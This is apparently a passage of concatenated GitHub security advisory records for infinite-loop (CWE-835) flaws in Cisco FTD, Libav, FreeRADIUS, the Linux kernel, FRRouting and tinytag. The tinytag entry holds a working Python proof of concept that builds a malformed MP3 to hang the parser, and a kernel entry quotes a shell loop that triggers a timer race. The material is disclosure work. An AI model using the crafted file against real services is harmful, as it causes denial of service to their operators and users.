CWE-835

{
  "affected": [],
  "aliases": [
    "CVE-2023-20083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-01T18:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in ICMPv6 inspection when configured with the Snort 2 detection engine for Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the CPU of an affected device to spike to 100 percent, which could stop all traffic processing and result in a denial of service (DoS) condition. FTD management traffic is not affected by this vulnerability. This vulnerability is due to improper error checking when parsing fields within the ICMPv6 header. An attacker could exploit this vulnerability by sending a crafted ICMPv6 packet through an affected device. A successful exploit could allow the attacker to cause the device to exhaust CPU resources and stop processing traffic, resulting in a DoS condition. Note: To recover from the DoS condition, the Snort 2 Detection Engine or the Cisco FTD device may need to be restarted.",
  "id": "GHSA-f2q5-h9mf-9537",
  "modified": "2023-11-01T18:30:33Z",
  "published": "2023-11-01T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20083"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-icmpv6-dos-4eMkLuN"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-14442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-30T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "In mpc8_read_header in libavformat/mpc8.c in Libav 12.3, an input file can result in an avio_seek infinite loop and hang, with 100% CPU consumption. Attackers could leverage this vulnerability to cause a denial of service via a crafted file.",
  "id": "GHSA-f2x8-6mc7-vwrc",
  "modified": "2023-03-03T03:30:23Z",
  "published": "2022-05-24T16:51:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14442"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.libav.org/show_bug.cgi?id=1159"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00000.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-10985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-17T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "An FR-GV-302 issue in FreeRADIUS 3.x before 3.0.15 allows \"Infinite loop and memory exhaustion with \u0027concat\u0027 attributes\" and a denial of service.",
  "id": "GHSA-f348-xh8r-wr5g",
  "modified": "2022-05-13T01:42:02Z",
  "published": "2022-05-13T01:42:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10985"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2389"
    },
    {
      "type": "WEB",
      "url": "http://freeradius.org/security/fuzzer-2017.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3930"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99968"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-21942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T16:15:25Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: zoned: fix extent range end unlock in cow_file_range()\n\nRunning generic/751 on the for-next branch often results in a hang like\nbelow. They are both stack by locking an extent. This suggests someone\nforget to unlock an extent.\n\n  INFO: task kworker/u128:1:12 blocked for more than 323 seconds.\n        Not tainted 6.13.0-BTRFS-ZNS+ #503\n  \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n  task:kworker/u128:1  state:D stack:0     pid:12    tgid:12    ppid:2      flags:0x00004000\n  Workqueue: btrfs-fixup btrfs_work_helper [btrfs]\n  Call Trace:\n   \u003cTASK\u003e\n   __schedule+0x534/0xdd0\n   schedule+0x39/0x140\n   __lock_extent+0x31b/0x380 [btrfs]\n   ? __pfx_autoremove_wake_function+0x10/0x10\n   btrfs_writepage_fixup_worker+0xf1/0x3a0 [btrfs]\n   btrfs_work_helper+0xff/0x480 [btrfs]\n   ? lock_release+0x178/0x2c0\n   process_one_work+0x1ee/0x570\n   ? srso_return_thunk+0x5/0x5f\n   worker_thread+0x1d1/0x3b0\n   ? __pfx_worker_thread+0x10/0x10\n   kthread+0x10b/0x230\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork+0x30/0x50\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork_asm+0x1a/0x30\n   \u003c/TASK\u003e\n  INFO: task kworker/u134:0:184 blocked for more than 323 seconds.\n        Not tainted 6.13.0-BTRFS-ZNS+ #503\n  \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n  task:kworker/u134:0  state:D stack:0     pid:184   tgid:184   ppid:2      flags:0x00004000\n  Workqueue: writeback wb_workfn (flush-btrfs-4)\n  Call Trace:\n   \u003cTASK\u003e\n   __schedule+0x534/0xdd0\n   schedule+0x39/0x140\n   __lock_extent+0x31b/0x380 [btrfs]\n   ? __pfx_autoremove_wake_function+0x10/0x10\n   find_lock_delalloc_range+0xdb/0x260 [btrfs]\n   writepage_delalloc+0x12f/0x500 [btrfs]\n   ? srso_return_thunk+0x5/0x5f\n   extent_write_cache_pages+0x232/0x840 [btrfs]\n   btrfs_writepages+0x72/0x130 [btrfs]\n   do_writepages+0xe7/0x260\n   ? srso_return_thunk+0x5/0x5f\n   ? lock_acquire+0xd2/0x300\n   ? srso_return_thunk+0x5/0x5f\n   ? find_held_lock+0x2b/0x80\n   ? wbc_attach_and_unlock_inode.part.0+0x102/0x250\n   ? wbc_attach_and_unlock_inode.part.0+0x102/0x250\n   __writeback_single_inode+0x5c/0x4b0\n   writeback_sb_inodes+0x22d/0x550\n   __writeback_inodes_wb+0x4c/0xe0\n   wb_writeback+0x2f6/0x3f0\n   wb_workfn+0x32a/0x510\n   process_one_work+0x1ee/0x570\n   ? srso_return_thunk+0x5/0x5f\n   worker_thread+0x1d1/0x3b0\n   ? __pfx_worker_thread+0x10/0x10\n   kthread+0x10b/0x230\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork+0x30/0x50\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork_asm+0x1a/0x30\n   \u003c/TASK\u003e\n\nThis happens because we have another success path for the zoned mode. When\nthere is no active zone available, btrfs_reserve_extent() returns\n-EAGAIN. In this case, we have two reactions.\n\n(1) If the given range is never allocated, we can only wait for someone\n    to finish a zone, so wait on BTRFS_FS_NEED_ZONE_FINISH bit and retry\n    afterward.\n\n(2) Or, if some allocations are already done, we must bail out and let\n    the caller to send IOs for the allocation. This is because these IOs\n    may be necessary to finish a zone.\n\nThe commit 06f364284794 (\"btrfs: do proper folio cleanup when\ncow_file_range() failed\") moved the unlock code from the inside of the\nloop to the outside. So, previously, the allocated extents are unlocked\njust after the allocation and so before returning from the function.\nHowever, they are no longer unlocked on the case (2) above. That caused\nthe hang issue.\n\nFix the issue by modifying the \u0027end\u0027 to the end of the allocated\nrange. Then, we can exit the loop and the same unlock code can properly\nhandle the case.",
  "id": "GHSA-f349-gqv8-wh65",
  "modified": "2025-10-30T21:30:40Z",
  "published": "2025-04-01T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21942"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3fcff2f55389306482ab049b4321bda49495e546"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5a4041f2c47247575a6c2e53ce14f7b0ac946c33"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5f4863cfb29a7b4fe7625ce148d0b9000b75b802"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-31949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-07T21:15:07Z",
    "severity": "MODERATE"
  },
  "details": "In FRRouting (FRR) through 9.1, an infinite loop can occur when receiving a MP/GR capability as a dynamic capability because malformed data results in a pointer not advancing.",
  "id": "GHSA-f3q5-vrp5-crqj",
  "modified": "2025-11-04T18:30:46Z",
  "published": "2024-04-07T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FRRouting/frr/pull/15640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FRRouting/frr/pull/15640/commits/30a332dad86fafd2b0b6c61d23de59ed969a219b"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00019.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-71266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-18T11:16:15Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: ntfs3: check return value of indx_find to avoid infinite loop\n\nWe found an infinite loop bug in the ntfs3 file system that can lead to a\nDenial-of-Service (DoS) condition.\n\nA malformed dentry in the ntfs3 filesystem can cause the kernel to hang\nduring the lookup operations. By setting the HAS_SUB_NODE flag in an\nINDEX_ENTRY within a directory\u0027s INDEX_ALLOCATION block and manipulating the\nVCN pointer, an attacker can cause the indx_find() function to repeatedly\nread the same block, allocating 4 KB of memory each time. The kernel lacks\nVCN loop detection and depth limits, causing memory exhaustion and an OOM\ncrash.\n\nThis patch adds a return value check for fnd_push() to prevent a memory\nexhaustion vulnerability caused by infinite loops. When the index exceeds the\nsize of the fnd-\u003enodes array, fnd_push() returns -EINVAL. The indx_find()\nfunction checks this return value and stops processing, preventing further\nmemory allocation.",
  "id": "GHSA-f43g-cfgj-442p",
  "modified": "2026-07-14T15:31:40Z",
  "published": "2026-03-18T12:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71266"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0ad7a1be44479503dbe5c699759861ef5b8bd70c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/14c3188afbedfd5178bbabb8002487ea14b37b56"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1732053c8a6b360e2d5afb1b34fe9779398b072c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/398e768d1accd1f5645492ab996005d7aa84a5b0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/435d34719db0e130f6f0c621d67ed524cc1a7d10"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/68e32694be231c1cdb99b7637a657314e88e1a96"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b0ea441f44ce64fa514a415d4a9e6e2b06e7946c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tinytag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:25:59Z",
    "nvd_published_at": "2026-03-20T03:15:59Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b\u0027\\x00\u0027, start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip(\u0027\\n\u0027)\n    offset = end_pos\n    time = unpack(\u0027\u003eI\u0027, content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b\u0027\\x00\\x00\u0027` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in \u0027other.lyrics\u0027 (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a",
  "id": "GHSA-f4rq-2259-hv29",
  "modified": "2026-03-20T21:20:19Z",
  "published": "2026-03-19T17:25:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinytag/tinytag"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service via non-terminating SYLT frame parsing loop in tinytag"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-31552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-24T15:16:29Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wlcore: Return -ENOMEM instead of -EAGAIN if there is not enough headroom\n\nSince upstream commit e75665dd0968 (\"wifi: wlcore: ensure skb headroom\nbefore skb_push\"), wl1271_tx_allocate() and with it\nwl1271_prepare_tx_frame() returns -EAGAIN if pskb_expand_head() fails.\nHowever, in wlcore_tx_work_locked(), a return value of -EAGAIN from\nwl1271_prepare_tx_frame() is interpreted as the aggregation buffer being\nfull. This causes the code to flush the buffer, put the skb back at the\nhead of the queue, and immediately retry the same skb in a tight while\nloop.\n\nBecause wlcore_tx_work_locked() holds wl-\u003emutex, and the retry happens\nimmediately with GFP_ATOMIC, this will result in an infinite loop and a\nCPU soft lockup. Return -ENOMEM instead so the packet is dropped and\nthe loop terminates.\n\nThe problem was found by an experimental code review agent based on\ngemini-3.1-pro while reviewing backports into v6.18.y.",
  "id": "GHSA-f5xv-cjm8-337g",
  "modified": "2026-04-27T15:30:42Z",
  "published": "2026-04-24T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31552"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/12f9eef39e49716c763714bfda835a733d5f6dea"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/46c670ff1ff466e5eccb3940f726586473dc053c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/980f793645540ca7a6318165cc12f49d5febeb99"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a6dc74209462c4fe5a88718d2f3a5286886081c8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ceb46b40b021d21911ff8608ce4ed33c1264ad2f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cfa64e2b3717be1da7c4c1aff7268a009e8c1610"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/deb353d9bb009638b7762cae2d0b6e8fdbb41a69"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f2c06d718a7b85cbc59ceaa2ff3f46b178ac709c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-52635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-02T07:15:41Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nPM / devfreq: Synchronize devfreq_monitor_[start/stop]\n\nThere is a chance if a frequent switch of the governor\ndone in a loop result in timer list corruption where\ntimer cancel being done from two place one from\ncancel_delayed_work_sync() and followed by expire_timers()\ncan be seen from the traces[1].\n\nwhile true\ndo\n        echo \"simple_ondemand\" \u003e /sys/class/devfreq/1d84000.ufshc/governor\n        echo \"performance\" \u003e /sys/class/devfreq/1d84000.ufshc/governor\ndone\n\nIt looks to be issue with devfreq driver where\ndevice_monitor_[start/stop] need to synchronized so that\ndelayed work should get corrupted while it is either\nbeing queued or running or being cancelled.\n\nLet\u0027s use polling flag and devfreq lock to synchronize the\nqueueing the timer instance twice and work data being\ncorrupted.\n\n[1]\n...\n..\n\u003cidle\u003e-0    [003]   9436.209662:  timer_cancel   timer=0xffffff80444f0428\n\u003cidle\u003e-0    [003]   9436.209664:  timer_expire_entry   timer=0xffffff80444f0428  now=0x10022da1c  function=__typeid__ZTSFvP10timer_listE_global_addr  baseclk=0x10022da1c\n\u003cidle\u003e-0    [003]   9436.209718:  timer_expire_exit   timer=0xffffff80444f0428\nkworker/u16:6-14217    [003]   9436.209863:  timer_start   timer=0xffffff80444f0428  function=__typeid__ZTSFvP10timer_listE_global_addr  expires=0x10022da2b  now=0x10022da1c  flags=182452227\nvendor.xxxyyy.ha-1593    [004]   9436.209888:  timer_cancel   timer=0xffffff80444f0428\nvendor.xxxyyy.ha-1593    [004]   9436.216390:  timer_init   timer=0xffffff80444f0428\nvendor.xxxyyy.ha-1593    [004]   9436.216392:  timer_start   timer=0xffffff80444f0428  function=__typeid__ZTSFvP10timer_listE_global_addr  expires=0x10022da2c  now=0x10022da1d  flags=186646532\nvendor.xxxyyy.ha-1593    [005]   9436.220992:  timer_cancel   timer=0xffffff80444f0428\nxxxyyyTraceManag-7795    [004]   9436.261641:  timer_cancel   timer=0xffffff80444f0428\n\n[2]\n\n 9436.261653][    C4] Unable to handle kernel paging request at virtual address dead00000000012a\n[ 9436.261664][    C4] Mem abort info:\n[ 9436.261666][    C4]   ESR = 0x96000044\n[ 9436.261669][    C4]   EC = 0x25: DABT (current EL), IL = 32 bits\n[ 9436.261671][    C4]   SET = 0, FnV = 0\n[ 9436.261673][    C4]   EA = 0, S1PTW = 0\n[ 9436.261675][    C4] Data abort info:\n[ 9436.261677][    C4]   ISV = 0, ISS = 0x00000044\n[ 9436.261680][    C4]   CM = 0, WnR = 1\n[ 9436.261682][    C4] [dead00000000012a] address between user and kernel address ranges\n[ 9436.261685][    C4] Internal error: Oops: 96000044 [#1] PREEMPT SMP\n[ 9436.261701][    C4] Skip md ftrace buffer dump for: 0x3a982d0\n...\n\n[ 9436.262138][    C4] CPU: 4 PID: 7795 Comm: TraceManag Tainted: G S      W  O      5.10.149-android12-9-o-g17f915d29d0c #1\n[ 9436.262141][    C4] Hardware name: Qualcomm Technologies, Inc.  (DT)\n[ 9436.262144][    C4] pstate: 22400085 (nzCv daIf +PAN -UAO +TCO BTYPE=--)\n[ 9436.262161][    C4] pc : expire_timers+0x9c/0x438\n[ 9436.262164][    C4] lr : expire_timers+0x2a4/0x438\n[ 9436.262168][    C4] sp : ffffffc010023dd0\n[ 9436.262171][    C4] x29: ffffffc010023df0 x28: ffffffd0636fdc18\n[ 9436.262178][    C4] x27: ffffffd063569dd0 x26: ffffffd063536008\n[ 9436.262182][    C4] x25: 0000000000000001 x24: ffffff88f7c69280\n[ 9436.262185][    C4] x23: 00000000000000e0 x22: dead000000000122\n[ 9436.262188][    C4] x21: 000000010022da29 x20: ffffff8af72b4e80\n[ 9436.262191][    C4] x19: ffffffc010023e50 x18: ffffffc010025038\n[ 9436.262195][    C4] x17: 0000000000000240 x16: 0000000000000201\n[ 9436.262199][    C4] x15: ffffffffffffffff x14: ffffff889f3c3100\n[ 9436.262203][    C4] x13: ffffff889f3c3100 x12: 00000000049f56b8\n[ 9436.262207][    C4] x11: 00000000049f56b8 x10: 00000000ffffffff\n[ 9436.262212][    C4] x9 : ffffffc010023e50 x8 : dead000000000122\n[ 9436.262216][    C4] x7 : ffffffffffffffff x6 : ffffffc0100239d8\n[ 9436.262220][    C4] x5 : 0000000000000000 x4 : 0000000000000101\n[ 9436.262223][    C4] x3 : 0000000000000080 x2 : ffffff8\n---truncated---",
  "id": "GHSA-f688-vq7p-p658",
  "modified": "2025-03-17T15:31:37Z",
  "published": "2024-04-02T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52635"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/099f6a9edbe30b142c1d97fe9a4748601d995675"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0aedb319ef3ed39e9e5a7b7726c8264ca627bbd9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/31569995fc65007b73a3fff605ec2b3401b435e9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3399cc7013e761fee9d6eec795e9b31ab0cbe475"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ae815e2fdc284ab31651d52460698bd89c0fce22"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aed5ed595960c6d301dcd4ed31aeaa7a8054c0c6"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2015-10103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T19:15:07Z",
    "severity": "LOW"
  },
  "details": "A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.",
  "id": "GHSA-f6c4-ghc3-jw9f",
  "modified": "2023-04-17T21:30:18Z",
  "published": "2023-04-17T21:30:18Z",
  "references": [
    {
